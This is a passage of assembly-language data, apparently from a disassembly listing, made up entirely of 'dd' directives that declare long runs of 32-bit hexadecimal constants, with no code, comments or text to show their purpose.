		dd 0F49A898Ah, 0F7C80136h, 5C3A2DECh, 5418E029h, 34B1E3Eh
		dd 515EAF76h, 4F790157h, 3AB431F4h, 0E7B020A5h,	521DF309h
		dd 51889075h, 1280A8B5h, 50640046h, 4EAD206Dh, 89373FD0h
		dd 3672CA98h, 0D9EC806Bh, 61C2B42Eh, 86F45061h,	4E4193B2h
		dd 0B4E73C20h, 0E47A009Dh, 5CF36C9Ah, 0FB00AA95h, 3428CB16h
		dd 1E3B8B39h, 55CECA2Eh, 3612E483h, 0CB0212Ah, 0AE442033h
		dd 43D57800h, 71C28684h, 34D90207h, 2E368B51h, 40C6D761h
		dd 0EB2B3C20h, 7038BB0h, 0D1AFF4A3h, 365124F2h,	194140ACh
		dd 6F176698h, 0B80112B7h, 4A0447A8h, 0BC02EC23h, 673E1470h
		dd 0B65CD081h, 5B499DF1h, 90C0A640h, 0E0ACBC4Fh, 7C9D074Ch
		dd 0C7556EEDh, 7BA6118h, 51D88A70h, 4140C479h, 0A4C8CC33h
		dd 0AFE5229Ch, 0EFE9B01Ah, 0E63C6029h, 71AFCC4h, 0D854D285h
		dd 645843BCh, 0B58C3911h, 5CFEBF02h, 5448AC51h,	0FC1D2B85h
		dd 4C1D906Ah, 0C8DBF340h, 0C33713h, 69956FA9h, 0E4D491Eh
		dd 3AD508C4h, 3B08888h,	802A7F39h, 4EC0B343h, 99012003h
		dd 0DD48A22Dh, 5770EABCh, 872C9175h, 64E9C3BDh,	0BF7C8837h
		dd 0C7A4484Ch, 6C4AE4B1h, 0B9B4510Ch, 0C69D0774h, 80F395A9h
		dd 0F280EA09h, 47EEB314h, 5FA0118Ch, 18E6BA11h,	0AF79FC36h
		dd 78510012h, 0D5EE80B3h, 2300A957h, 59C214B2h,	7236D631h
		dd 34A80A9Eh, 0E8779Dh,	5C0D29E5h, 0F2002749h, 0C7817CE2h
		dd 14AE5D24h, 0C0CBB0D8h, 34E788Fh, 74D4B4C0h, 622A922Eh
		dd 1200703Bh, 1F08B194h, 0E77F3F6h, 91970E25h, 0CEC579C0h
		dd 8574EAD8h, 3F21CC00h, 0F5761441h, 2A7C003Ch,	9E1767F7h
		dd 0F41243BFh, 5C428278h, 4057D79Dh, 903D8046h,	8B590170h
		dd 0CEC62DA7h, 483608B7h, 93C49026h, 38931D96h,	0C0742C23h
		dd 9D4764D9h, 4C482B78h, 50B70460h, 74D0CC6Bh, 52D5AF40h
		dd 9480ACFCh, 579C53DEh, 6600A2E6h, 10B02E0Eh, 1D6CCC6h
		dd 8199D50Dh, 613A7F03h, 51D0204Eh, 59E06B30h, 12B38341h
		dd 52A89506h, 0B0782054h, 71DD44E7h, 91144071h,	0F28BC008h
		dd 0C2B49033h, 0B2142672h, 530A002Fh, 0CD838C1h, 0EA5F8C00h
		dd 0D9A22034h, 0CD74006Ch, 0B68A979Ch, 9D78616Bh, 2E1C471Fh
		dd 22CBD49Ch, 2C7C88A9h, 0F58C7682h, 0C9EC4B5Fh, 4F00EF37h
		dd 1E00EE61h, 0A61DCC2Dh, 7FD028h, 0CF982766h, 569EAED9h
		dd 9015B616h, 0DC138016h, 0CEB01020h, 44A8A4FBh, 4038B69h
		dd 76D4A96Ah, 0D30DA848h, 0E0853D66h, 813F569Eh, 279AC431h
		dd 0E298409Eh, 4E8063B0h
		dd 9B1C052h, 0CF8434B7h, 22ADE50Fh, 0EBF385B3h,	1F08C8Ch
		dd 0C78034AEh, 48CFB0D7h, 7708FAB4h, 14F0D009h,	1E22C864h
		dd 0CE50BE1Fh, 0D3D8A933h, 0F971014Bh, 195FC05Eh, 0B2FC70A9h
		dd 9D442703h, 0D1E069FCh, 0F8208D35h, 434E409Ch, 49C062ECh
		dd 38C759CBh, 84E30097h, 80F2AC75h, 13283037h, 5358A040h
		dd 25B68010h, 27DE0Bh, 7B47AA9h, 62229839h, 0B0C4C506h
		dd 2C94DD5h, 0CB84D9A4h, 98507E5Ch, 60128D10h, 51344E18h
		dd 0A600BE0Ch, 1B4C56F0h, 1C16DABh, 32D585CDh, 0F5BFFC7Ch
		dd 31C0E926h, 583298h, 0EEED503Ch, 280A227h, 533342CFh
		dd 34E0DF2Dh, 91183D5Ch, 7080B1C3h, 2C488488h, 0E1BA846Ch
		dd 406D70CCh, 0A500A05Fh, 8358BE44h, 92F1CDh, 69A2129h
		dd 0E80DF26h, 18A47A58h, 0D6C1354Eh, 5C8100A0h,	1C882B38h
		dd 2F3D4398h, 0D35100D7h, 0E29CD9ECh, 12E47D3Ch, 269A20Ah
		dd 47F23798h, 7488B605h, 0AA2D00E2h, 0B13F6D9Fh, 2000C330h
		dd 5C214F46h, 28B0E43Bh, 6120A168h, 56508154h, 0B0822F0h
		dd 98705152h, 24CC3AD8h, 0C54D48Fh, 59196536h, 99E50500h
		dd 409DA2B7h, 4EA50FB3h, 43C00741h, 0C2BFF345h,	18DC00Bh
		dd 0E774A258h, 79FF10FDh, 6421A507h, 386A505Bh,	88E45687h
		dd 8D66D400h, 0D2B03FF9h, 70F4E161h, 5BB4509Dh,	0F6EC52CEh
		dd 514AF3F4h, 5144C47h,	6C4565B0h, 820B0217h, 570CD2CBh
		dd 0D9436441h, 0C2020266h, 0EA50EA39h, 93086384h, 0C9F903FFh
		dd 36645EEFh, 7B3140F4h, 9FB24Ah, 0BF6B7967h, 0C77E0706h
		dd 56B89904h, 3480CB08h, 4C14D41h, 0BCE209AFh, 2CC883AEh
		dd 522A31B4h, 0A49C4E03h, 0B200400Ch, 576284BDh, 9078CADh
		dd 8598DE8Dh, 53B81441h, 0C045E684h, 0FE004284h, 0A0692120h
		dd 4AC70173h, 0B26B6778h, 848EC7Bh, 98007272h, 186C016Eh
		dd 60AF7DF7h, 7C0F398Ch, 680045E9h, 0EED2D9BEh,	1801F39h
		dd 9C0BADC0h, 0C648EC81h, 495168C0h, 4AE41E00h,	5F530CFh
		dd 89925C39h, 7FF98300h, 617BC502h, 6A11F098h, 3B11BAA7h
		dd 0FFB6185Ch, 373079h,	854829C7h, 9B54997h, 8F7F1400h
		dd 783F4354h, 5B3D248Ch, 334F0C20h, 5A00CC41h, 0F9E45EECh
		dd 81EA80h, 0AC7D52D2h,	0CF4507AFh, 15A6C3Dh, 67D99B06h
		dd 4820427Ch, 0C81612C0h, 3CF135Fh, 8D815ED8h, 88ADA2B9h
		dd 427421B8h, 3122B7C8h, 3643213Ah, 15C007EFh, 7D019093h
		dd 0E27EC5h, 0ED48A538h, 0C184EB79h, 22ECD25Ch,	71F417F1h
		dd 0CFF821B8h, 20E0164Dh, 5C5C4E5Dh, 9AD60100h,	4FFFED30h
		dd 2C2DAEE9h, 0D0CE3C85h, 0ACE11B20h, 7700E0A4h, 946B7F02h
		dd 0AAD138h, 802CFA4Fh,	0AD3182BFh, 5180189Ch, 0C0F92AEAh
		dd 12604A45h, 0C97002E8h, 71249EDCh, 8C42B089h,	0DFDE200Dh
		dd 0B8000C82h, 6FAE359Eh, 0B2F12C01h, 0AA0D2AE4h, 442898F4h
		dd 0FF1FE469h, 0E9834A1Ah, 0DEAF601Eh, 596F0089h, 0D97E67BAh
		dd 4400304Ah, 31FF07E8h, 3DE3099Bh, 2F09701Eh, 0DCA001BEh
		dd 0A61195F3h, 2237D80Bh, 1550014Fh, 99173E2Ch,	0DE49EC19h
		dd 0A4FA0D23h, 20104E49h, 5900A8EBh, 9901F154h,	0AEA5DAh
		dd 0ED0BCE36h, 4347F56Fh, 1470E0C4h, 59449482h,	0FC803D20h
		dd 0AA96658Ah, 0EE032DC8h, 40784974h, 4887AA9Dh, 79915C34h
		dd 4A8DEEDFh, 57F438AEh, 0D0313C9Bh, 470EEB3h, 4C14A4E7h
		dd 0A9A15C56h, 442054Eh, 807851C5h, 0EE89FF24h,	56FB0E12h
		dd 0B9D97250h, 402251h,	6C90C2C4h, 377FE1Fh, 0A0EE958Ch
		dd 0C037BF0Ah, 0E04631F9h, 0B97822C0h, 6F4F489Ch, 206D81C4h
		dd 0FDF08255h, 50475469h, 9C518A8Eh, 0B80F21Eh,	0D39648F0h
		dd 0BD6202EBh, 0F904CC34h, 77246C58h, 0B6433CACh, 213902EAh
		dd 3DF368E5h, 0A0591662h, 5FA7BC00h, 738BAF9Dh,	873496DFh
		dd 0E08CF0D3h, 0FF3769F2h, 58EC94B8h, 6C44FA02h, 41F7B1B9h
		dd 6F0CF978h, 0FDB63084h, 8C9F5149h, 44CA120Fh,	0A80CE09Ch
		dd 19640B4h, 43BEFD47h,	2434042Bh, 0E5445484h, 42B8B457h
		dd 0C6206830h, 5478AFh,	0C03BADA4h, 8A6F8B67h, 0CCCE0812h
		dd 7C82F095h, 0B2AF238Ch, 893180C5h, 509A9C6Bh,	87BBD21h
		dd 6988BB81h, 7111BA50h, 3C527EF1h, 70CC0B98h, 792C62D0h
		dd 59BF8204h, 0B044C0FEh, 2022C683h, 0B650756Ah, 82BE445Ch
		dd 319F344h, 99B62988h,	0FB5500BBh, 0F22FEDC0h,	168F0073h
		dd 86DE41EAh, 0B42822E5h, 0E02DFCF8h, 98F80965h, 0B65ADCh
		dd 4BC04754h, 0D47FC94Ah, 56611304h, 0AC8D81A2h, 80E53430h
		dd 44847A69h, 330B4099h, 80854CCCh, 6BF4E7D8h, 9400B17Dh
		dd 8848AF50h, 9198A280h, 0E22461DCh, 0F7106468h, 42E13CCDh
		dd 0ECAC6FB4h, 8C71C7C0h, 8143E096h, 5CD09530h,	7C3A99B9h
		dd 2D59818Dh, 1057C00Ch, 92A297h, 660FB813h, 390A0904h
		dd 0DCB98A1Dh, 68259028h, 70A48191h, 0C81763B7h, 53AE641h
		dd 0F1D5ECh, 3953E7E2h,	79B520B6h, 1364F000h, 6D0EBA3Ah
		dd 1737000Ch, 746B3167h, 627242CDh, 36355300h, 8A19900Fh
		dd 5BF60002h, 0B5C8C060h, 48B03046h, 6B50BC0Ch,	9D8B94Dh
		dd 2D038659h, 7F07BC44h, 2FAEA072h, 0EF6A7660h,	0E60B004Dh
		dd 0A1DD4C6Fh, 8D0B082Eh, 0AE863C3Ah, 0E7249160h, 0F248089Ch
		dd 800B7888h, 0AE0E34D8h, 0C24802A8h, 0F6BF004Ch, 0E5C3A0CCh
		dd 0B2E91588h, 0E708B039h, 0F691F941h, 0EDC48800h, 0CE39AD8Ch
		dd 0C97D0700h, 0F79D4DC8h, 81340153h, 6188E602h, 0C52452B8h
		dd 0F28BF422h, 44089040h, 9A00A0D7h, 0DE228C7Dh, 52F43156h
		dd 0D049CCE2h, 649FC721h, 12AFE220h, 90ACE41Bh,	3E56CAD0h
		dd 7C30361Dh, 0E8803D40h, 90CFEA03h, 0A11C80E4h, 0C90A1ADh
		dd 0F44401FEh, 3B016DEh, 0D5EAC6D8h, 66B197CCh,	1D70237Fh
		dd 943A5F20h, 0CDBC368Dh, 6C34E118h, 5101F120h,	0B7F4446Bh
		dd 0A5C601C0h, 39AA6B2h, 1EAEF6D8h, 0C05079E9h,	67EEF53Ah
		dd 0EC9CD25Ch, 0C8814364h, 4A087999h, 68914499h, 8C70C202h
		dd 0E8EE34E5h, 8078663Ch, 0FB191C41h, 18C6D4h, 5A455DD9h
		dd 3B7920B5h, 22C8680Fh, 6C9D60CFh, 167D43F5h, 8D8A2B1h
		dd 3797D6ACh, 0A80E5820h, 0F700082h, 60852E64h,	48904826h
		dd 0D08C0252h, 0AE21FCh, 0B0CA9C50h, 0D6482280h, 8B5C2FC8h
		dd 8A0418D8h, 39FB00EDh, 0E20702DFh, 6F13580Fh,	5420F026h
		dd 80E69CF7h, 0F18480CDh, 5688BC38h, 78AE9E87h,	2DEB44F0h
		dd 0ADC100E1h, 0BAC88EF7h, 0F8B5FEEAh, 8059046Eh, 0C1557292h
		dd 3197D4E8h, 85CC4734h, 0D20C03Eh, 5653E181h, 7A3D8444h
		dd 442E9A22h, 4349693Bh, 60C4C850h, 9085B53Ch, 0D00C8E2h
		dd 0AC04A6ABh, 877E694Ch, 729F1102h, 0E625781Bh, 0A1F07B1Ch
		dd 4062FDA6h, 46782D04h, 4A08D1C5h, 88E10843h, 749979F4h
		dd 924EBA88h, 52581EFAh, 40841EE1h, 0F3B5A64h, 0C7268B4Eh
		dd 9E0858BFh, 56486568h, 2C4C8DE4h, 42507C44h, 0CC99AF3Ch
		dd 7ECB8840h, 0E42C002Bh, 4E91B90Bh, 0E70536EEh, 4261A4B4h
		dd 60042C81h, 0B6055C61h, 0D2083440h, 24680247h, 4488872Dh
		dd 0AFA8C24Eh, 867928E4h, 78315100h, 9A9F32C4h,	8CA40BB1h
		dd 488435FEh, 216D3261h, 3644CEB0h, 2BD41298h, 8CBFDC02h
		dd 0EE98898Ah, 9C434CB0h, 0C6AEC800h, 0ADC718A4h, 485B7300h
		dd 0F021BA36h, 5A790049h, 92BD9523h, 5F09CBF5h,	2AF7844h
		dd 0E6D62724h, 0AE7207F4h
		dd 707CB6D7h, 69FE0198h, 92D26300h, 48B2BEA5h, 39DD0C70h
		dd 8D08BBBCh, 0F9622F00h, 4795E072h, 1E4100AAh,	3EBCC3FFh
		dd 6F3A8C6Bh, 0A9CA0DDh, 0FD54DB39h, 0A2890097h, 68C8CA6Bh
		dd 92852603h, 993EE7h, 0F8D5C429h, 4731DF5Ch, 56006978h
		dd 0F26B16EBh, 0EC351F79h, 2D2F16F7h, 4AAA0010h, 439EBCAEh
		dd 467E9F0Eh, 0F602DDACh, 43B4FC28h, 6758039Bh,	105B700Bh
		dd 2E0D5FE8h, 1400CE7Eh, 38BF2031h, 18B4AA0Eh, 308BF768h
		dd 0E6001C19h, 5A4AE47h, 1FE03Dh, 0AA13F3F2h, 52BC1BB2h
		dd 4E513Dh, 0ECBE92Ah, 15C02F5h, 274D2387h, 0F4D9EB2Dh
		dd 0EF00D674h, 8816BBBh, 0CDA2FCEh, 0AB3E3D0Ah,	1C0FA2F1h
		dd 0A7117003h, 0E440498Eh, 0B71718h, 2F616878h,	1F6CE797h
		dd 0E6BC5454h, 6F08CC60h, 729447h, 6BBC5524h, 5A9C347Ch
		dd 0F1990E28h, 3E4F090Ah, 1480DC3Fh, 0A31626B2h, 606A00EEh
		dd 8123A98Ch, 9803010Dh, 52789533h, 0DBA790B2h,	0EEAC1F2Fh
		dd 0A02A21h, 0CEA370DEh, 0B4048932h, 0ADF01F54h, 4EE0D107h
		dd 808E1D98h, 0A5AAA908h, 5F101A4h, 0C2752502h,	2491C9C5h
		dd 44845A24h, 99000648h, 177AAAACh, 1E1053AEh, 410D1BDCh
		dd 0A63E839Ch, 738042DDh, 5D43B421h, 261881BEh,	3C0F1949h
		dd 149AD4A1h, 0D5E19430h, 614A0030h, 0C24C1633h, 341C1A06h
		dd 0A9C04D62h, 0FC736F1Eh, 870616Ch, 41B4951Dh,	83729C0h
		dd 10E384A1h, 981535Ch,	0B1C53556h, 84366802h, 0F1409C24h
		dd 0B505518Ch, 0C446E7A0h, 7C00E3EEh, 57CE6CB1h, 90D10AD9h
		dd 324F4344h, 9671E1E5h, 0B7094484h, 3EE1D13Ch,	0B4F062BEh
		dd 80BC453Fh, 0B902916Dh, 0B0054D26h, 8F763173h, 0D44405Fh
		dd 0C088E3BEh, 9CC752A2h, 4B1CA053h, 0FEB8790h,	0C1DAB08Fh
		dd 6008AF17h, 66A3202Fh, 6C293148h, 0E60CF028h,	78BC51E7h
		dd 0AC00196h, 0C4C22585h, 0B4D88C1Ch, 4AB963h, 5A099774h
		dd 0C2DF965Eh, 0BB86ED0Fh, 0DCAE2622h, 74E849h,	0B1626C52h
		dd 2FD73383h, 9C2A219h,	8C41B8B1h, 0F00CD9Eh, 0D207B647h
		dd 51D4E43Dh, 0E6AF0C83h, 0F4A40FF1h, 83401A04h, 5FACC7B8h
		dd 43612118h, 84329B61h, 30BE1C44h, 0AC41A3ECh,	761B90F0h
		dd 10E8918Ah, 386028h, 4CF16D3Dh, 4892FAD3h, 9A10B00Eh
		dd 462D004Fh, 0A6A5775Ch, 444800EAh, 3F85E47Fh,	7400E63Dh
		dd 751407D3h, 30B4EFCBh, 0FE184042h, 189276E0h,	51229B43h
		dd 4DC96D42h, 52369C19h, 0C0826DD0h, 2407639Ch,	0CE647721h
		dd 6414B1F0h, 327360B9h, 1FEC903Bh, 66E18B47h, 19198137h
		dd 2268414Bh, 98423821h, 6714A41Bh, 47E35261h, 88834944h
		dd 0C1026CB4h, 99880CDFh, 0ADBE80A6h, 0BB83CD5h, 3155F8DBh
		dd 8930BC04h, 0F21D6C8h, 418064B4h, 5B7D06EDh, 0C648BCA3h
		dd 1B9C83D4h, 93C615FAh, 1610C46Eh, 0C3A20CB6h,	48BE29C1h
		dd 3D9F0CE0h, 149361EFh, 8CC018F8h, 0B52C1533h,	43537602h
		dd 606D3CB8h, 84C31174h, 2D317761h, 4980D5E7h, 0BA747153h
		dd 4C26C35Eh, 46885841h, 44B420CCh, 0FD2A4236h,	6C00C8F7h
		dd 1054A4F4h, 39714B5Ch, 0FD1E64EAh, 6B9C3D45h,	8016592Eh
		dd 887A0C1Dh, 70A8EEA2h, 4284A9B8h, 0FA88403Dh,	1CB54240h
		dd 0DBAFAEC4h, 102B816Ch, 0CC68E85Dh, 4436F108h, 0BFE646A8h
		dd 88B0061h, 0EB948F54h, 89002FB6h, 0BA838170h,	0FEC224FFh
		dd 81449027h, 0AC10A3C0h, 5499E47Eh, 3D76E186h,	101543E9h
		dd 0B5267081h, 0A88609C0h, 44174022h, 0AC4C5411h, 24B04CFEh
		dd 0E7555CC2h, 0E8869090h, 0E200BBF8h, 825AE1CBh, 90876E12h
		dd 345F4C46h, 42A8F2CAh, 0BC2797B5h, 0C2F68018h, 4796FF10h
		dd 66D20F00h, 80379CF8h, 0BC7349D7h, 0B8086220h, 9E6BF4E6h
		dd 44CD5686h, 222FE53Ch, 46B259Bh, 686D6D4h, 19BDBCh, 0F28AAB55h
		dd 0EACDCC92h, 54E98901h, 0D39CFBFFh, 29806DF1h, 2CDCB66Eh
		dd 0A1F82F59h, 0CE9AAC0Ah, 0EA04E043h, 0A0489177h, 0E4BE0F84h
		dd 84EF888Ch, 436D5212h, 0B8EAF81Fh, 0AB504214h, 84CC7ACh
		dd 0CB40BFB4h, 5993FBC0h, 5EF30618h, 4210242h, 0C276371Fh
		dd 445C8B19h, 7B589AE8h, 4A1904A8h, 0EE8082EFh,	9226B410h
		dd 0FE4D00F8h, 37D1C61Ch, 0D600E2A3h, 34A50643h, 2CF94F3h
		dd 3C0ECEE0h, 68440F22h, 0D41E8615h, 91A521B4h,	5A317DCFh
		dd 3D3E6162h, 77E93024h, 9FBA0028h, 8A16FC4Ah, 1F3F0840h
		dd 55F70653h, 141C0BBh,	0C9F85C20h, 0DCAF8E01h,	0B1002334h
		dd 40BF46D6h, 4CC77BCAh, 452EAD3Bh, 90ACA48Ch, 0B46B8B86h
		dd 0EB83C70h, 40A9E8A0h, 64A1A466h, 3D08D511h, 4DBC246Ch
		dd 9FE61078h, 9080B53Bh, 0F143A9Dh, 0EF00CF75h,	319BF5B8h
		dd 3ADEB70Eh, 0B294E45Ch, 0BB18946Eh, 14CF4993h, 30A93800h
		dd 0FA6CB3ACh, 6266002Bh, 0EF6853B0h, 23281465h, 0E143ACAEh
		dd 0B2070B22h, 170EBA24h, 0A060FE7Dh, 8B68033Ch, 0A722B34Fh
		dd 91083Eh, 283B8D72h, 11D0E0h,	9FBCC6CDh, 0DA64FC0h, 1297663h
		dd 8A08005Bh, 722C5E52h, 3000C095h, 0D1C90BCDh,	73CC70Dh
		dd 0B951C15Fh, 0B10AF332h, 0B04F3001h, 0A6666D24h, 4CC51180h
		dd 83C69749h, 8FEC1400h, 470E156Ch, 0C24B17D3h,	45B70317h
		dd 81BE06A6h, 3CC88E06h, 60AC43h, 311C3BB1h, 0DE587761h
		dd 92699501h, 4C8F3544h, 181862E8h, 7082C8EAh, 11008DB3h
		dd 0EC05AD91h, 15016E21h, 3423C273h, 885D7444h,	20007DBDh
		dd 0A65E4022h, 0C0F32DA0h, 9D0425Ch, 0E27B5A25h, 0AAEFC03Fh
		dd 9179AC07h, 1169C81Ch, 0E0D97401h, 51BA4ECCh,	6AD79E0Ch
		dd 0E8C8AA96h, 616264CFh, 2201BCE3h, 0A11980D6h, 4BAE65E9h
		dd 90A20187h, 4903823Eh, 2C6ACC46h, 0AFFA3500h,	0CA0D7073h
		dd 0E6D73BB4h, 9DA72B07h, 0CE8040A0h, 0B000917Dh, 90629FCFh
		dd 5003A6EDh, 88447CBEh, 7D062450h, 7312F3E4h, 22DB43A8h
		dd 33B24075h, 4884BD40h, 0EF80103Dh, 41E4F4CDh,	15243001h
		dd 69E0BDF8h, 0A88C4020h, 1F6AB1C8h, 62529EEh, 198B35A1h
		dd 0A6E93EC1h, 6980890Bh, 0AA3BB8B5h, 25805535h, 315C888Ch
		dd 86399B6Fh, 3A19483Bh, 0AA40AE66h, 27E46200h,	0C23BC6E6h
		dd 0D48C0228h, 0CDD67B45h, 8F34E681h, 1EEFCA6h,	0AD416060h
		dd 3E2493CCh, 89F5CBDh,	0A241C0B1h, 846E0D8Fh, 59043702h
		dd 9BD3C24Ch, 6A41E48Ch, 8E8E255Ch, 25F2AB99h, 0E420240Bh
		dd 0E15BCCEBh, 720C8h, 0DBE52B93h, 0D4031874h, 79446B02h
		dd 82694E3Dh, 13D2CBB0h, 124221ECh, 51663420h, 0C99FF8AAh
		dd 0F1E44Ch, 9E6030EFh,	96541C5Ah, 7A01F56Ch, 0D6A9706Ah
		dd 8FF40C62h, 16ACE631h, 1F022C38h, 72694045h, 0C3BF34ABh
		dd 0D3A450E9h, 4700F33Ah, 0EE686B59h, 0A01D28C8h, 912684A0h
		dd 0BBAC3B70h, 0DD580007h, 0CC2B78Ch, 0CC409361h, 8D61251Eh
		dd 2A4BC0E0h, 0B90A051h, 0B259C85Fh, 3900E570h,	0EA58357Fh
		dd 7F0BA3Bh, 1884E7A3h,	22710CC9h, 0BAA450F5h, 660092DDh
		dd 62D2E37Ah, 3EFD6948h, 98FF2579h, 0A538A160h,	84A40208h
		dd 0EE80DD00h, 0CF53105Dh, 1F88EC2Ch, 80A1C017h, 1A3A9FFFh
		dd 0B8A4023Eh, 80A6303Bh, 0DC5D1466h, 41EED92h,	44D069D8h
		dd 8A4C93FAh, 98A8F072h, 0A2491EA6h, 81928808h,	0CEC23DAAh
		dd 0C8C1F789h, 74198087h, 162505F1h, 6EE301B5h,	0B86672A8h
		dd 0D0EC403Eh, 5D245C02h, 8443A02Dh, 2617823h, 0E206BAEEh
		dd 0BC87D8F3h, 8441AC3h, 0A0B2D60Ah, 8C1829A5h,	98000D79h
		dd 23423195h, 594E40h, 37C61987h, 29165003h, 3B5D092Eh
		dd 835CF90Eh, 0B85B4120h, 2FD287h, 5962BA6Bh, 0CE65ABCAh
		dd 95827200h, 8AFC75A7h, 194700B5h, 0B69F0187h,	1B0E22C7h
		dd 4038B334h, 0F1BA71C9h, 0C4D1005Fh, 0C04A32BFh, 8001547h
		dd 0DC70D9A8h, 8FE036h,	0D56CE6A0h, 6769881Ch, 0B0AE0907h
		dd 52207519h, 5CA608E5h, 0F00089B5h, 586CD51Fh,	1004C51h
		dd 0FF1DF9B7h, 1B109F05h, 8A4A887h, 0F82E3DE8h,	1F045000h
		dd 0E40E56EDh, 9FB71E06h, 9EB68D1Dh, 21FBE728h,	79F7C11Bh
		dd 9088E008h, 0AFA006Fh, 6C5748F4h, 980069AFh, 939597DAh
		dd 0CB82CCBh, 0DD7C7A16h, 9831AA71h, 3A04175h, 25F59180h
		dd 0BC5BE859h, 0A7453D03h, 0F018EC7Eh, 3BC3932Ch, 7A0CF67Dh
		dd 4849B382h, 0F1912060h, 0FD945Ah, 776D307Fh, 64F22F72h
		dd 0E29BF300h, 0A570F7A7h, 270D0059h, 28D11206h, 0D00C23FAh
		dd 0E8A11813h, 2BB588EAh, 894D9318h, 0C0FDA070h, 0BC570B19h
		dd 443E53ABh, 45B000A1h, 0AA208A0Dh, 0D1816399h, 31788B7Ah
		dd 0AD8FC100h, 4F6F4286h, 8462017Ch, 93A9FF71h,	447F0833h
		dd 0ACA6BF89h, 0E39E6D00h, 5E15747h, 0A8FB00C8h, 825EA567h
		dd 0F9C02446h, 2D04DB18h, 57B900EEh, 2E78FF54h,	0F000916Ah
		dd 157151B6h, 486DEAB1h, 8D389329h, 0F79E590Eh,	0C1F969F8h
		dd 0C0EE8107h, 247921A7h, 0FE401354h, 0A0230A11h, 184F370Fh
		dd 990580FBh, 0DD130Fh,	0E4306EA2h, 0F77B104Bh,	889EA918h
		dd 4F9459h, 31329C17h, 0E2D060B2h, 0DBB034FEh, 0A61B6E00h
		dd 40498241h, 72A7BFCh,	0CF880E18h, 6768312Fh, 50BC48A1h
		dd 68AF352Ch, 7E07FA07h, 8211A06Ah, 0B7A78F0Ch,	601F57B9h
		dd 0BEED09h, 99F0C115h,	0A1DDD53h, 508083D4h, 71C0Ch, 751C0F6Ch
		dd 970053FFh, 227EF3D4h, 0E1EAC81h, 2405A14Eh, 8098455h
		dd 542F7B35h, 8A02A000h, 6A18F9F2h, 0C71904A1h,	5C21001Eh
		dd 538D032Dh, 85006FADh, 3661807Bh, 0A913C76h, 1C4B920Fh
		dd 9A370008h, 2261BE53h, 6E4E8000h, 70EC5734h, 0BF560029h
		dd 27B30162h, 0C00FEE1h, 0FCC39183h, 917494A9h,	5D4439A0h
		dd 0D6431200h, 4AA9B180h, 0E3540006h, 0E59F732h, 14F4826Ch
		dd 830005E0h, 3A577FC7h, 3BA00961h, 0F78058E1h,	3B54D71Fh
		dd 3C9836BEh, 6A4FFB00h, 5FCF203Ch, 1E0507FEh, 16F7CA88h
		dd 0D874817Bh, 0BA0072F8h, 8025E8ABh, 4CA94623h, 0B78034A0h
		dd 0B60CF5DCh, 0E8604101h, 0E5E7D2F0h, 296185DCh, 0FC4744Fh
		dd 0EC1492A9h, 1D55F983h, 4064ECBAh, 54372322h,	0F23070h
		dd 0D38E12F5h, 7578744Eh, 88974C00h, 2A8DA120h,	0DCAB54A8h
		dd 5E4807B6h, 0A00302BBh, 92170CECh, 6F2CFC02h,	4347AEA1h
		dd 0CB25E8E8h, 0ACE31024h, 0AEAA2216h, 488542F4h, 1882268h
		dd 0DF23BD8Fh, 0E2A11369h, 1F05888h, 0A8DB2B77h, 0A41980A5h
		dd 71286C7Ah, 89730495h, 0C04BCA54h, 202F0D50h,	82440898h
		dd 7F25C93h, 46245738h,	1521C058h, 27AD1BAh, 48901C90h
		dd 0B0B0914Ch, 0FAA306h, 495761D3h, 856E1574h, 2C1F3900h
		dd 0B7B80FABh, 0A8271116h, 0B5DD00ADh, 3F83C233h, 461200F7h
		dd 65D345F9h, 7300278Eh, 4F0B66E8h, 1230F20Eh, 30E15A20h
		dd 7A759548h, 0BBE47600h, 0FBDEAF68h, 0E32A004Ch, 9C27CEDh
		dd 3781D5Fh, 0A3A8A4A8h, 129D79C0h, 38A9682Bh, 0B854E9F7h
		dd 48AB447Eh, 0A0831874h, 0A6A0A7h, 69FBFC35h, 257FEC9Bh
		dd 0A83081E2h, 0F07531A9h, 738F045h, 8E7CDE0Ch,	1DD630F8h
		dd 0B53AECF7h, 5306966Dh, 0A78A1007h, 133391Ch,	80214FCFh
		dd 0C983FF5Eh, 4809ED1Ch, 125220A8h, 8A2902F0h,	88684B13h
		dd 5E80F8FCh, 281FA788h, 7282B0C3h, 0A5C8C8ADh,	81DBF84h
		dd 261F1018h, 840B28EEh, 3F46B3Bh, 76F74Ch, 0B5D20721h
		dd 1E24C993h, 0C20752FEh, 4FA90DF8h, 0C81D8520h, 3BB6F03Ch
		dd 7603C120h, 0C599C07Bh, 0D893580Ch, 0F0278004h, 38970C15h
		dd 9F891D06h, 7C126F73h, 0C40F309Bh, 18280956h,	0D22054h
		dd 0AAF65F39h, 3EAA4BAh, 171EF307h, 1FF21083h, 24C8404Eh
		dd 3051D2DDh, 0AA330E10h, 0DE279E1Dh, 5AA76840h, 3D06A65Eh
		dd 70EF9774h, 700408F2h, 5FC0AC80h, 0ECA7D5h, 6E889D98h
		dd 0A958226Ah, 8FB49B48h, 1A474690h, 97710071h,	39599537h
		dd 0DB0016D3h, 14254E90h, 0E8628263h, 61FB60A0h, 69A8C74Fh
		dd 99A98612h, 0E9FBDC31h, 73F4B870h, 78380087h,	4130421Bh
		dd 0C91DF720h, 485C5F16h, 0FE7F1070h, 966016Bh,	0D8170FA8h
		dd 9218801Ch, 614636B9h, 0E04CEFC9h, 18173891h,	3900B1BBh
		dd 51864E53h, 700314Ah,	0BDA6C133h, 0CA66BEh, 53509763h
		dd 2FD62047h, 0D819BF00h, 3F8B160h, 1F0514DEh, 7788B423h
		dd 0D700359Fh, 0A303B22Ch, 0AC971E80h, 0EA25404Bh, 0A5A0CF0Ah
		dd 82709F5Ch, 43D612ABh, 10FE3F8h, 9B6DF319h, 0F06827B0h
		dd 9009072h, 0A010778h,	48A0C62Fh, 8877F059h, 0CA00210Dh
		dd 60C2F0D7h, 90D87703h, 534416C0h, 30A41A27h, 0AB00A0C6h
		dd 0E769F75Ch, 587F53B8h, 8BA2E4C1h, 915B3848h,	70F40426h
		dd 0E0BEFC8Fh, 0D19215AEh, 8CB94C3Ch, 22B6C517h, 0C4441DE8h
		dd 0B7929912h, 79FFAC4Ch, 6DED0621h, 0A0C02028h, 1B509120h
		dd 391F2B06h, 0A86C3040h, 9389A060h, 10C0B1Fh, 0D18AB2B9h
		dd 20C71953h, 3881B74h,	69EF61A0h, 820F2606h, 79370819h
		dd 0A046A2h, 62380692h,	0FA1FC389h, 213008A0h, 8593AA15h
		dd 20270084h, 0FBE4917h, 654CB0ECh, 2AC9111h, 0B18A08DCh
